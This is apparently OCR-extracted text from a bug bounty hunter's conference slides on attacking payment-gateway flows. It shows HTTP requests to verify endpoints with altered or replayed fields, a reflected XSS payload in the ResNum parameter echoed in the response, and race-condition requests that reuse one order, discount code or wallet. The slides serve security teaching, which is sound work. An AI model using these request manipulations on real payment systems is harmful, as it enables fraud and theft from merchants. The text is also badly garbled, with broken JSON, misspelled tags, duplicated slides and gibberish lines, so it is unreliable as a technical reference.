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Request

POST /pay/ HTTP/1.1

Host: api.vooricon.com

{
"Order":"VOR-98212"

"Method" : "Saman"
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Location: : https://sep.shaprak.ir?token=
SwufAKSMKASD8asdjfJADSKADMV
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POST /v1/transaction/verify HTTP/1.1 Location: : /Order/ 545512 "

Host: merchant.com

MID=10920870&Terminalld=10920870
&RefNum=GDASGDDSADFDASGDSAG
ASDGASDGS&ResNum=545512&State
=success&Amount=100000
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POST /ipg/VerifyTransaction HTTP/1.1 {
"RRN":"0000"
Host: psp.com
{ "MaskedPan" : “6104****22"
: “Timestamp" : “Timestamp"
"Terminalld" "0000"
"OrginalAmount" : “1341000"
"Merchant Secret" "0000"
. . "Success" : True
"RefNum" "jJnBmy/lojtTe5keQU "
}
}
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Request Response

POST /v1/transaction/verify HTTP/1.1 Location: : /Order/ 545512 /fail"
Host: merchant.com

MID=10920870&Terminalld=10920870
&RefNum=&ResNum=545512&State=C
anceledByUser&Amount=100000
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Request

POST /pay/ HTTP/1.1
Host: api.vooricon.com

{
"Order":"VOR-98212"

"Method" : "Saman"
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Request Response

POST /v1/transaction/verify HTTP/1.1 Location: : /Order/ 545512 /fail"
Host: merchant.com

MID=10920870&Terminalld=10920870
&RefNum=&ResNum=545512&State=C
anceledByUser&Amount=100000
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POST /v1/transaction/verify HTTP/1.1
Host: merchant.com

MID=10920870&Terminalld=10920870
&RefNum=GDASGDDSADFDASGDSAG
ASDGASDGS&ResNum=545512&State
=success&Amount=100000
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Response

Location: : /Order/ 545512 "
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Request

POST /v1/transaction/verify HTTP/1.1
Host: merchant.com

MID=10920870&Terminalld=10920870
&RefNum=&ResNum=545512&State=C
anceledByUser&Amount=100000
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Response

Location: : /Order/ 545512 /fail"
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Request

POST /v1/transaction/verify HTTP/1.1
Host: merchant.com

MID=10920870&Terminalld=10920870
&RefNum=&ResNum=<scrupt>alert('x’);
</script>&State=CanceledByUser&Amo
unt=100000

Response

<html>

<head><title>payment status</title><head>
<bod>

<p>id: <scrupt>alert(‘x’);</script>

<br> State:CanceledByUser

</p>

<body>

</html>
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Request Request
POST /pay/paypal HTTP/1.1 POST /pay/mellat HTTP/1.1
Host: api.vooricon.com Host: api.vooricon.com
{ 9 {
"Amount" : "10000", “Amount" : “10000",
"Walletid" : "21345" “Walletid" : “21345"
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Request Request
POST /v8/pay/ HTTP/1.1 POST /v8/pay/ HTTP/1.1
Host: api.vooricon.com Host: api.vooricon.com
{ {
"Order": "VOR-52252" "Order": "VOR-32257"
"Method" : “Wallet" "Method" : “Wallet"
} }

Race Condition=>
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Request

POST /v1/transaction/verify HTTP/1.1
Host: merchant.com

MID=10920870&Terminalld=10920870
&RefNum=GDASGDDSADFDASGDSAG
ASDGASDGS&ResNum=545512&State
=success&Amount=100000

g 50 JuaSS juolcuddoa jgbds

Response

POST /v1/transaction/verify HTTP/1.1
Host: merchant.com

MID=10920870&Terminalld=10920870
&RefNum=asGxvdArDe21DSAGASDGA
SDGS&ResNum=545532&State=success
&Amount=120000

Race Condition=>»
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Request Request
POST /v8/pay/ HTTP/1.1 POST /v8/pay/ HTTP/1.1
Host: apivooricon.com Host: api.vooricon.com
{ {
"Order": "VOR-98212" "Order": "VOR-98213"
"Method" : "Saman", "Method" : "Saman’,
"Code" : "TsbgreGH" "Code" : "TsbgreGH"
} }

Race Condition=>»
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Request Request
POST /v8/pay/ HTTP/1.1 POST /v8/pay/ HTTP/1.1
Host: apivooricon.com Host: api.vooricon.com
Token=usertoken(1) Token=usertoken(2)
{ {
"Number" : "VOR-2s2-GFSE" "Number" : "VOR-2s2-GFSE"
} }

Race Condition=>
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About Me

* Mahdi Moradloo
* 3lyearsold
Background:

* About 3 years start security

* 2vyears as a Web Developer
Experience:

* bug bounty hunter

* Web Application Penetration Testing

x X.com linkedin.com
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